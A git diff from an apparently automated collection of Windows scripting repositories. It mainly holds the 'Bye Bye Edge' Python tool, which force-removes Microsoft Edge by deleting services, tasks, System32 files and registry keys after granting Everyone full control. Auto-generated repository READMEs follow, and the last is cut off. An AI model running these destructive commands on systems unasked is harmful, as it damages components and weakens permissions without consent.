"Microsoft\\EdgeWebView\\Application")]: - if os.path.exists(p): - print("Removing Microsoft WebView") - cmd = [src, "--uninstall", "--msedgewebview", "--system-level", "--force-uninstall"] - subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True) - os.system("timeout /t 2 >nul") - break - -# Edge / MicrosoftEdgeDevTools (Appx Packages) -user_sid = subprocess.check_output(["powershell", "(New-Object System.Security.Principal.NTAccount($env:USERNAME)).Translate([System.Security.Principal.SecurityIdentifier]).Value"], startupinfo=hide_console()).decode().strip() -output = subprocess.check_output(['powershell', '-NoProfile', '-Command', 'Get-AppxPackage -AllUsers | Where-Object {$_.PackageFullName -ilike "*MicrosoftEdge*"} | Select-Object -ExpandProperty PackageFullName'], startupinfo=hide_console()) -edge_apps = [app.strip() for app in output.decode().strip().split('\r\n') if app.strip()] -base_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" -for app in edge_apps: - for path in [f"{base_path}\\EndOfLife\\{user_sid}\\{app}", f"{base_path}\\EndOfLife\\S-1-5-18\\{app}", f"{base_path}\\Deprovisioned\\{app}"]: - winreg.CreateKeyEx(winreg.HKEY_LOCAL_MACHINE, path, 0, access_flag) - -################################################################################################################################################ - -# Desktop Icons -for user_dir in USERS_DIR: - desktop_path = os.path.join(user_dir, "Desktop") - for link in [os.path.join(desktop_path, name) for name in ["edge.lnk", "Microsoft Edge.lnk"]]: - if os.path.exists(link): - os.remove(link) - -# Start Menu Icon -START_MENU_PATH = os.path.join(PROGRAM_DATA, "Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Edge.lnk") -if os.path.exists(START_MENU_PATH): - os.remove(START_MENU_PATH) - -# Tasks - Name -result = subprocess.run(['schtasks', '/query', '/fo', 'csv'], capture_output=True, text=True, startupinfo=hide_console()) -tasks = result.stdout.strip().split('\n')[1:] -microsoft_edge_tasks = [task.split(',')[0].strip('"') for task in tasks if 'MicrosoftEdge' in task] -with open(os.devnull, 'w') as devnull: - for task in microsoft_edge_tasks: - subprocess.run(['schtasks', '/delete', '/tn', task, '/f'], check=False, stdout=devnull, stderr=devnull, startupinfo=hide_console()) - -# Tasks - Files -TASKS_PATH = os.path.join(SYSTEM_ROOT, "System32\\Tasks") -for root, dirs, files in os.walk(TASKS_PATH): - for file in files: - if file.startswith("MicrosoftEdge"): - file_path = os.path.join(root, file) - os.remove(file_path) - -# Edge Services -service_names = ["edgeupdate", "edgeupdatem", "MicrosoftEdgeElevationService"] -for name in service_names: - subprocess.run(['sc', 'delete', name], capture_output=True, text=True, startupinfo=hide_console()) - -# Folders -# - C:\Windows\SystemApps\ -# - C:\Program Files\WindowsApps\ -# - C:\Program Files (x86)\Microsoft\ -def run_cmd(cmd): - subprocess.run(cmd, check=False, creationflags=subprocess.CREATE_NO_WINDOW, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) - -def remove_directory(path): - if os.path.exists(path): - commands = [ - ['takeown', '/F', path, '/R', '/D', 'Y'], - ['icacls', path, '/grant', 'BUILTIN\\Administrators:(F)', '/T'], - ['icacls', path, '/grant', 'Everyone:(F)', '/T'] - ] - for cmd in commands: - run_cmd(cmd) - shutil.rmtree(path, ignore_errors=True) - # C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient* - would not delete with shutil - if os.path.exists(path): - run_cmd(['cmd.exe', '/c', 'rd', '/s', '/q', path]) - -for root_dir in [os.path.join(SYSTEM_ROOT, "SystemApps"), os.path.join(PROGRAM_FILES, "WindowsApps")]: - if os.path.exists(root_dir): - for folder_name in os.listdir(root_dir): - if folder_name.startswith(('Microsoft.MicrosoftEdge', 'Microsoft.MicrosoftEdgeDevToolsClient')): - remove_directory(os.path.join(root_dir, folder_name)) - - run_cmd(["taskkill", "/IM", "MicrosoftEdgeUpdate.exe", "/F"]) - for folder in ["Edge", "EdgeCore", "EdgeUpdate", "Temp"]: - remove_directory(os.path.join(PROGRAM_FILES, "Microsoft", folder)) - remove_directory(os.path.join(PROGRAM_FILES_X86, "Microsoft", folder)) - -# Files - System32 -user_name = getpass.getuser() -for f in os.scandir(os.path.join(SYSTEM_ROOT, "System32")): - if f.name.startswith("MicrosoftEdge") and f.name.endswith(".exe"): - subprocess.run(f'takeown /f "{f.path}" > NUL 2>&1', shell=True) - subprocess.run(f'icacls "{f.path}" /inheritance:e /grant "{user_name}:(OI)(CI)F" /T /C > NUL 2>&1', shell=True) - os.remove(f.path) - - -################################################################################################################################################ - - -############## -# Denied -############## -# AppUserModelId -# Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Families -# Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages -# Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Families -# SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache\Package\Index\PackageFullName -# SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId - - -def delete_keys(hive, key, access): - try: - with winreg.OpenKey(hive, key, 0, access | winreg.KEY_READ) as k: - subkeys = [] - i = 0 - while True: - try: - subkeys.append(winreg.EnumKey(k, i)) - i += 1 - except OSError: - break - for subkey in subkeys: - delete_keys(hive, f"{key}\\{subkey}", access) - winreg.DeleteKeyEx(hive, key, access) - except: - pass - -def delete_subkeys_with_prefix(hive, path, prefix, access): - try: - with winreg.OpenKey(hive, path, 0, access | winreg.KEY_READ) as k: - i = 0 - while True: - try: - subkey = winreg.EnumKey(k, i) - if re.match(prefix, subkey): - delete_keys(hive, f"{path}\\{subkey}", access) - else: - i += 1 - except OSError: - break - except FileNotFoundError: - pass - except PermissionError: - pass - except Exception as e: - pass - -def hive_name(hive): - return { - winreg.HKEY_CURRENT_USER: "HKCU", - winreg.HKEY_LOCAL_MACHINE: "HKLM", - winreg.HKEY_CLASSES_ROOT: "HKCR" - }.get(hive, str(hive)) - -def delete_registry_keys(): - wildcard_paths = [ - "ActivatableClasses\\Package", - "Extensions\\ContractId\\windows.appExecutionAlias\\PackageId", - "Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage", - "Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\PackageRepository\\Packages", - "Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\PolicyCache", - "Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\SystemAppData", - "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.AppService\\PackageId", - "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.BackgroundTasks\\PackageId", - "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.CommandLineLaunch\\PackageId", - "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.ComponentUI\\PackageId", - "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.File\\PackageId", - "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.Launch\\PackageId", - "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.PreInstalledConfigTask\\PackageId", - "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.Protocol\\PackageId", - "SOFTWARE\\Microsoft\\SecurityManager\\CapAuthz\\ApplicationsEx", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\AppHost\\IndexedDB", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Appx\\AppxAllUserStore\\Applications", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Appx\\AppxAllUserStore\\Config", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\BackgroundAccessApplications", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\Capabilities\\microphone\\Apps", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\Capabilities\\userAccountInformation\\Apps", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\Capabilities\\webcam\\Apps", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\cellularData", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\location", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\microphone", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\picturesLibrary", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\userAccountInformation", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\wifiData", - "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PushNotifications\\Backup", - "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\BackgroundModel\\PreInstallTasks\\RequireReschedule", - "SYSTEM\\Setup\\Upgrade\\Appx\\DownlevelGather\\AppxAllUserStore\\Config", - "SYSTEM\\Setup\\Upgrade\\Appx\\DownlevelGather\\AppxAllUserStore\\InboxApplications", - "SYSTEM\\Setup\\Upgrade\\Appx\\DownlevelGather\\PackageInstallState" - ] - - full_delete_paths = [ - "AppID\\MicrosoftEdgeUpdate.exe", - "SOFTWARE\\Classes\\microsoft-edge", - "SOFTWARE\\Classes\\microsoft-edge-holographic", - "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{9459C573-B17A-45AE-9F64-1857B5D58CEE}", - "SOFTWARE\\Microsoft\\Edge", - "SOFTWARE\\Microsoft\\EdgeUpdate", - "SOFTWARE\\Microsoft\\Internet Explorer\\EdgeDebugActivation", - "SOFTWARE\\Microsoft\\Internet Explorer\\EdgeIntegration", - "SOFTWARE\\Microsoft\\MicrosoftEdge", - "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MicrosoftEdgeUpdate.exe", - "SOFTWARE\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\microsoft-edge", - "SOFTWARE\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\microsoft-edge-holographic", - "SOFTWARE\\WOW6432Node\\Microsoft\\Edge", - "SOFTWARE\\WOW6432Node\\Microsoft\\EdgeUpdate", - "SYSTEM\\CurrentControlSet\\Services\\edgeupdate", - "SYSTEM\\CurrentControlSet\\Services\\edgeupdatem", - "SYSTEM\\CurrentControlSet\\Services\\MicrosoftEdgeElevationService" - ] - - hives = [winreg.HKEY_CURRENT_USER, winreg.HKEY_LOCAL_MACHINE, winreg.HKEY_CLASSES_ROOT] - - # Wildcard deletions - Microsoft.MicrosoftEdge - for path in wildcard_paths: - for hive in hives: - for access in [winreg.KEY_WOW64_32KEY, winreg.KEY_WOW64_64KEY]: - delete_subkeys_with_prefix(hive, path, r"(?i)^microsoft\.microsoftedge.*", access) - - # Full path deletions - for path in full_delete_paths: - for hive in hives: - for access in [winreg.KEY_WOW64_32KEY, winreg.KEY_WOW64_64KEY]: - delete_keys(hive, path, access) - -delete_registry_keys() - -#HKEY_CLASSES_ROOT\MicrosoftEdge* -def delete_hkcr_microsoftedge_keys(): - for hive in [winreg.HKEY_LOCAL_MACHINE, winreg.HKEY_CURRENT_USER]: - base_path = "Software\\Classes" - for access in [winreg.KEY_WOW64_64KEY, winreg.KEY_WOW64_32KEY]: - try: - with winreg.OpenKey(hive, base_path, 0, access | winreg.KEY_READ) as root: - i = 0 - while True: - try: - key_name = winreg.EnumKey(root, i) - if key_name.startswith(("MicrosoftEdge", "microsoft-edge")): - delete_keys(hive, f"{base_path}\\{key_name}", access) - else: - i += 1 - except OSError: - break - except: - pass - -delete_hkcr_microsoftedge_keys() + +# +# This project would not be possible without the support of these awesome people +# https://github.com/ShadowWhisperer/Remove-MS-Edge/graphs/contributors +# + +import ctypes # Check if ran as an admin / Window title +import getpass # Take Permissions +import os # System OS paths +import sys # Check if ran as an admin +import shutil # Folder deletion +import subprocess # Run setup.exe file +import winreg # Modify Windows Registry (Remove Edge Appx Packages) +import re # Regular expression for subkey name validation + + +# Check if ran as admin - Do not force run as admin +if not ctypes.windll.shell32.IsUserAnAdmin(): + print("\n Please run as admin.\n") + os.system("timeout /t 4 >nul") + sys.exit(1) + +# Title +ctypes.windll.kernel32.SetConsoleTitleW("Bye Bye Edge - 2.3 - ShadowWhisperer") + +# Hide CMD/Powershell +def hide_console(): + startupinfo = subprocess.STARTUPINFO() + startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW + return startupinfo + +# Set Paths +PROGRAM_FILES_X86 = os.environ.get("ProgramFiles(x86)", "C:\\Program Files (x86)") +PROGRAM_FILES = os.environ.get("ProgramFiles", "C:\\Program Files") +SYSTEM_ROOT = os.environ.get("SystemRoot", "C:\\Windows") +PROGRAM_DATA = os.environ.get("ProgramData", "C:\\ProgramData") + +# 32 or 64bit - Registry +is_64bit_windows = "ProgramFiles(x86)" in os.environ +access_flag = winreg.KEY_WRITE | (winreg.KEY_WOW64_64KEY if is_64bit_windows else 0) +# 32 or 64bit - setup.exe +setup_name = "setup.x64.exe" if is_64bit_windows else "setup.x86.exe" +src = os.path.join(getattr(sys, '_MEIPASS', os.path.dirname(__file__)), setup_name) + +# Get user profiles +with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") as key: + user_profiles = [winreg.EnumKey(key, i) for i in range(winreg.QueryInfoKey(key)[0])] + USERS_DIR = [winreg.QueryValueEx(winreg.OpenKey(key, profile), "ProfileImagePath")[0] for profile in user_profiles] + +################################################################################################################################################ + +# Edge +for p in [os.path.join(PROGRAM_FILES_X86, "Microsoft\\Edge\\Application\\pwahelper.exe"), os.path.join(PROGRAM_FILES, "Microsoft\\Edge\\Application\\pwahelper.exe")]: + if os.path.exists(p): + print("Removing Microsoft Edge") + cmd = [src, "--uninstall", "--system-level", "--force-uninstall"] + subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True) + os.system("timeout /t 2 >nul") + break + +# WebView +for p in [os.path.join(PROGRAM_FILES_X86, "Microsoft\\EdgeWebView\\Application"), os.path.join(PROGRAM_FILES, "Microsoft\\EdgeWebView\\Application")]: + if os.path.exists(p): + print("Removing Microsoft WebView") + cmd = [src, "--uninstall", "--msedgewebview", "--system-level", "--force-uninstall"] + subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True) + os.system("timeout /t 2 >nul") + break + +# Edge / MicrosoftEdgeDevTools (Appx Packages) +user_sid = subprocess.check_output(["powershell", "(New-Object System.Security.Principal.NTAccount($env:USERNAME)).Translate([System.Security.Principal.SecurityIdentifier]).Value"], startupinfo=hide_console()).decode().strip() +output = subprocess.check_output(['powershell', '-NoProfile', '-Command', 'Get-AppxPackage -AllUsers | Where-Object {$_.PackageFullName -ilike "*MicrosoftEdge*"} | Select-Object -ExpandProperty PackageFullName'], startupinfo=hide_console()) +edge_apps = [app.strip() for app in output.decode().strip().split('\r\n') if app.strip()] +base_path = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" +for app in edge_apps: + for path in [f"{base_path}\\EndOfLife\\{user_sid}\\{app}", f"{base_path}\\EndOfLife\\S-1-5-18\\{app}", f"{base_path}\\Deprovisioned\\{app}"]: + winreg.CreateKeyEx(winreg.HKEY_LOCAL_MACHINE, path, 0, access_flag) + +################################################################################################################################################ + +# Desktop Icons +for user_dir in USERS_DIR: + desktop_path = os.path.join(user_dir, "Desktop") + for link in [os.path.join(desktop_path, name) for name in ["edge.lnk", "Microsoft Edge.lnk"]]: + if os.path.exists(link): + os.remove(link) + +# Start Menu Icon +START_MENU_PATH = os.path.join(PROGRAM_DATA, "Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Edge.lnk") +if os.path.exists(START_MENU_PATH): + os.remove(START_MENU_PATH) + +# Tasks - Name +result = subprocess.run(['schtasks', '/query', '/fo', 'csv'], capture_output=True, text=True, startupinfo=hide_console()) +tasks = result.stdout.strip().split('\n')[1:] +microsoft_edge_tasks = [task.split(',')[0].strip('"') for task in tasks if 'MicrosoftEdge' in task] +with open(os.devnull, 'w') as devnull: + for task in microsoft_edge_tasks: + subprocess.run(['schtasks', '/delete', '/tn', task, '/f'], check=False, stdout=devnull, stderr=devnull, startupinfo=hide_console()) + +# Tasks - Files +TASKS_PATH = os.path.join(SYSTEM_ROOT, "System32\\Tasks") +for root, dirs, files in os.walk(TASKS_PATH): + for file in files: + if file.startswith("MicrosoftEdge"): + file_path = os.path.join(root, file) + os.remove(file_path) + +# Edge Services +service_names = ["edgeupdate", "edgeupdatem", "MicrosoftEdgeElevationService"] +for name in service_names: + subprocess.run(['sc', 'delete', name], capture_output=True, text=True, startupinfo=hide_console()) + +# Folders +# - C:\Windows\SystemApps\ +# - C:\Program Files\WindowsApps\ +# - C:\Program Files (x86)\Microsoft\ +def run_cmd(cmd): + subprocess.run(cmd, check=False, creationflags=subprocess.CREATE_NO_WINDOW, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + +def remove_directory(path): + if os.path.exists(path): + commands = [ + ['takeown', '/F', path, '/R', '/D', 'Y'], + ['icacls', path, '/grant', 'BUILTIN\\Administrators:(F)', '/T'], + ['icacls', path, '/grant', 'Everyone:(F)', '/T'] + ] + for cmd in commands: + run_cmd(cmd) + shutil.rmtree(path, ignore_errors=True) + # C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient* - would not delete with shutil + if os.path.exists(path): + run_cmd(['cmd.exe', '/c', 'rd', '/s', '/q', path]) + +for root_dir in [os.path.join(SYSTEM_ROOT, "SystemApps"), os.path.join(PROGRAM_FILES, "WindowsApps")]: + if os.path.exists(root_dir): + for folder_name in os.listdir(root_dir): + if folder_name.startswith(('Microsoft.MicrosoftEdge', 'Microsoft.MicrosoftEdgeDevToolsClient')): + remove_directory(os.path.join(root_dir, folder_name)) + + run_cmd(["taskkill", "/IM", "MicrosoftEdgeUpdate.exe", "/F"]) + for folder in ["Edge", "EdgeCore", "EdgeUpdate", "Temp"]: + remove_directory(os.path.join(PROGRAM_FILES, "Microsoft", folder)) + remove_directory(os.path.join(PROGRAM_FILES_X86, "Microsoft", folder)) + +# Files - System32 +user_name = getpass.getuser() +for f in os.scandir(os.path.join(SYSTEM_ROOT, "System32")): + if f.name.startswith("MicrosoftEdge") and f.name.endswith(".exe"): + subprocess.run(f'takeown /f "{f.path}" > NUL 2>&1', shell=True) + subprocess.run(f'icacls "{f.path}" /inheritance:e /grant "{user_name}:(OI)(CI)F" /T /C > NUL 2>&1', shell=True) + os.remove(f.path) + + +################################################################################################################################################ + + +############## +# Denied +############## +# AppUserModelId +# Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Families +# Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages +# Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Families +# SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache\Package\Index\PackageFullName +# SOFTWARE\Microsoft\WindowsRuntime\ActivatableClassId + + +def delete_keys(hive, key, access): + try: + with winreg.OpenKey(hive, key, 0, access | winreg.KEY_READ) as k: + subkeys = [] + i = 0 + while True: + try: + subkeys.append(winreg.EnumKey(k, i)) + i += 1 + except OSError: + break + for subkey in subkeys: + delete_keys(hive, f"{key}\\{subkey}", access) + winreg.DeleteKeyEx(hive, key, access) + except: + pass + +def delete_subkeys_with_prefix(hive, path, prefix, access): + try: + with winreg.OpenKey(hive, path, 0, access | winreg.KEY_READ) as k: + i = 0 + while True: + try: + subkey = winreg.EnumKey(k, i) + if re.match(prefix, subkey): + delete_keys(hive, f"{path}\\{subkey}", access) + else: + i += 1 + except OSError: + break + except FileNotFoundError: + pass + except PermissionError: + pass + except Exception as e: + pass + +def hive_name(hive): + return { + winreg.HKEY_CURRENT_USER: "HKCU", + winreg.HKEY_LOCAL_MACHINE: "HKLM", + winreg.HKEY_CLASSES_ROOT: "HKCR" + }.get(hive, str(hive)) + +def delete_registry_keys(): + wildcard_paths = [ + "ActivatableClasses\\Package", + "Extensions\\ContractId\\windows.appExecutionAlias\\PackageId", + "Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage", + "Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\PackageRepository\\Packages", + "Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\PolicyCache", + "Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\SystemAppData", + "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.AppService\\PackageId", + "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.BackgroundTasks\\PackageId", + "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.CommandLineLaunch\\PackageId", + "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.ComponentUI\\PackageId", + "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.File\\PackageId", + "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.Launch\\PackageId", + "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.PreInstalledConfigTask\\PackageId", + "SOFTWARE\\Classes\\Extensions\\ContractId\\Windows.Protocol\\PackageId", + "SOFTWARE\\Microsoft\\SecurityManager\\CapAuthz\\ApplicationsEx", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\AppHost\\IndexedDB", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Appx\\AppxAllUserStore\\Applications", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Appx\\AppxAllUserStore\\Config", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\BackgroundAccessApplications", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\Capabilities\\microphone\\Apps", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\Capabilities\\userAccountInformation\\Apps", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\Capabilities\\webcam\\Apps", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\cellularData", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\location", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\microphone", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\picturesLibrary", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\userAccountInformation", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\wifiData", + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PushNotifications\\Backup", + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\BackgroundModel\\PreInstallTasks\\RequireReschedule", + "SYSTEM\\Setup\\Upgrade\\Appx\\DownlevelGather\\AppxAllUserStore\\Config", + "SYSTEM\\Setup\\Upgrade\\Appx\\DownlevelGather\\AppxAllUserStore\\InboxApplications", + "SYSTEM\\Setup\\Upgrade\\Appx\\DownlevelGather\\PackageInstallState" + ] + + full_delete_paths = [ + "AppID\\MicrosoftEdgeUpdate.exe", + "SOFTWARE\\Classes\\microsoft-edge", + "SOFTWARE\\Classes\\microsoft-edge-holographic", + "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{9459C573-B17A-45AE-9F64-1857B5D58CEE}", + "SOFTWARE\\Microsoft\\Edge", + "SOFTWARE\\Microsoft\\EdgeUpdate", + "SOFTWARE\\Microsoft\\Internet Explorer\\EdgeDebugActivation", + "SOFTWARE\\Microsoft\\Internet Explorer\\EdgeIntegration", + "SOFTWARE\\Microsoft\\MicrosoftEdge", + "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MicrosoftEdgeUpdate.exe", + "SOFTWARE\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\microsoft-edge", + "SOFTWARE\\Microsoft\\Windows\\Shell\\Associations\\UrlAssociations\\microsoft-edge-holographic", + "SOFTWARE\\WOW6432Node\\Microsoft\\Edge", + "SOFTWARE\\WOW6432Node\\Microsoft\\EdgeUpdate", + "SYSTEM\\CurrentControlSet\\Services\\edgeupdate", + "SYSTEM\\CurrentControlSet\\Services\\edgeupdatem", + "SYSTEM\\CurrentControlSet\\Services\\MicrosoftEdgeElevationService" + ] + + hives = [winreg.HKEY_CURRENT_USER, winreg.HKEY_LOCAL_MACHINE, winreg.HKEY_CLASSES_ROOT] + + # Wildcard deletions - Microsoft.MicrosoftEdge + for path in wildcard_paths: + for hive in hives: + for access in [winreg.KEY_WOW64_32KEY, winreg.KEY_WOW64_64KEY]: + delete_subkeys_with_prefix(hive, path, r"(?i)^microsoft\.microsoftedge.*", access) + + # Full path deletions + for path in full_delete_paths: + for hive in hives: + for access in [winreg.KEY_WOW64_32KEY, winreg.KEY_WOW64_64KEY]: + delete_keys(hive, path, access) + +delete_registry_keys() + +#HKEY_CLASSES_ROOT\MicrosoftEdge* +def delete_hkcr_microsoftedge_keys(): + for hive in [winreg.HKEY_LOCAL_MACHINE, winreg.HKEY_CURRENT_USER]: + base_path = "Software\\Classes" + for access in [winreg.KEY_WOW64_64KEY, winreg.KEY_WOW64_32KEY]: + try: + with winreg.OpenKey(hive, base_path, 0, access | winreg.KEY_READ) as root: + i = 0 + while True: + try: + key_name = winreg.EnumKey(root, i) + if key_name.startswith(("MicrosoftEdge", "microsoft-edge")): + delete_keys(hive, f"{base_path}\\{key_name}", access) + else: + i += 1 + except OSError: + break + except: + pass + +delete_hkcr_microsoftedge_keys() diff --git a/Development & Scripting Tools/batsh-dev-team--Batsh/.upstream_metadata.json b/Development & Scripting Tools/batsh-dev-team--Batsh/.upstream_metadata.json index c84e4dc6..a80487d3 100644 --- a/Development & Scripting Tools/batsh-dev-team--Batsh/.upstream_metadata.json +++ b/Development & Scripting Tools/batsh-dev-team--Batsh/.upstream_metadata.json @@ -1,7 +1,7 @@ { "repository": "batsh-dev-team/Batsh", "url": "https://github.com/batsh-dev-team/Batsh", - "last_updated": "2026-06-15T23:04:22.442439", + "last_updated": "2026-10-07T09:20:04.659194", "stars": "4352", "description": "A language that compiles to Bash and Windows Batch" } \ No newline at end of file diff --git a/Development & Scripting Tools/boxcutter--windows-batch/README.md b/Development & Scripting Tools/boxcutter--windows-batch/README.md new file mode 100644 index 00000000..11abfa77 --- /dev/null +++ b/Development & Scripting Tools/boxcutter--windows-batch/README.md @@ -0,0 +1,66 @@ +# windows-batch + +**Owner:** [boxcutter](https://github.com/boxcutter) +**Repository:** [boxcutter/windows-batch](https://github.com/boxcutter/windows-batch) +**Stars:** 767 ⭐ +**Language:** Ruby +**Category:** Development & Scripting Tools + +## Description + +Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript + +## 🔗 Links + +- **GitHub Repository:** [https://github.com/boxcutter/windows-batch](https://github.com/boxcutter/windows-batch) +- **Owner Profile:** [https://github.com/boxcutter](https://github.com/boxcutter) + +## 📊 Repository Stats + +- **Stars:** 767 +- **Primary Language:** Ruby +- **Category:** Development & Scripting Tools + +## 📝 About This Repository + +This repository is part of [The Batch Compendium](https://github.com/YourUsername/TheBatchCompendium) - a comprehensive collection of Windows batch scripts and tools. + +### Why This Repository? + +- ✅ **High Quality:** 767 stars indicate community trust +- ✅ **Active Project:** Well-maintained and documented +- ✅ **Batch Scripts:** Contains useful Windows batch files +- ✅ **Open Source:** Free to use and learn from + +## 🚀 Quick Start + +1. Visit the [original repository](https://github.com/boxcutter/windows-batch) +2. Read the project's documentation +3. Clone or download the scripts you need +4. Follow the repository's installation instructions + +## ⚠️ Important Notes + +- Always review batch scripts before running them +- Test scripts in a safe environment first +- Check for any prerequisites or dependencies +- Respect the repository's license terms + +## 📄 License + +This repository follows the license terms of the original project. Please check the [original repository](https://github.com/boxcutter/windows-batch) for specific license information. + +## 🤝 Contributing + +To contribute to the original project: +1. Visit [https://github.com/boxcutter/windows-batch](https://github.com/boxcutter/windows-batch) +2. Read their contributing guidelines +3. Fork, modify, and submit pull requests to their repository + +--- + +**Discovered:** 2026-10-07 +**Added to Collection:** Automated discovery system +**Last Updated:** 2026-10-07 09:20:17 UTC + +*This README was automatically generated by The Batch Compendium discovery system.* diff --git a/Development & Scripting Tools/ykeara--SteamVR-Dongle-Flash/README.md b/Development & Scripting Tools/ykeara--SteamVR-Dongle-Flash/README.md new file mode 100644 index 00000000..e7c57024 --- /dev/null +++ b/Development & Scripting Tools/ykeara--SteamVR-Dongle-Flash/README.md @@ -0,0 +1,66 @@ +# SteamVR-Dongle-Flash + +**Owner:** [ykeara](https://github.com/ykeara) +**Repository:** [ykeara/SteamVR-Dongle-Flash](https://github.com/ykeara/SteamVR-Dongle-Flash) +**Stars:** 50 ⭐ +**Language:** Batchfile +**Category:** Development & Scripting Tools + +## Description + +A simple Guide and batch script to flash steam controller dongles to watchman dongles for SteamVR/OpenVR + +## 🔗 Links + +- **GitHub Repository:** [https://github.com/ykeara/SteamVR-Dongle-Flash](https://github.com/ykeara/SteamVR-Dongle-Flash) +- **Owner Profile:** [https://github.com/ykeara](https://github.com/ykeara) + +## 📊 Repository Stats + +- **Stars:** 50 +- **Primary Language:** Batchfile +- **Category:** Development & Scripting Tools + +## 📝 About This Repository + +This repository is part of [The Batch 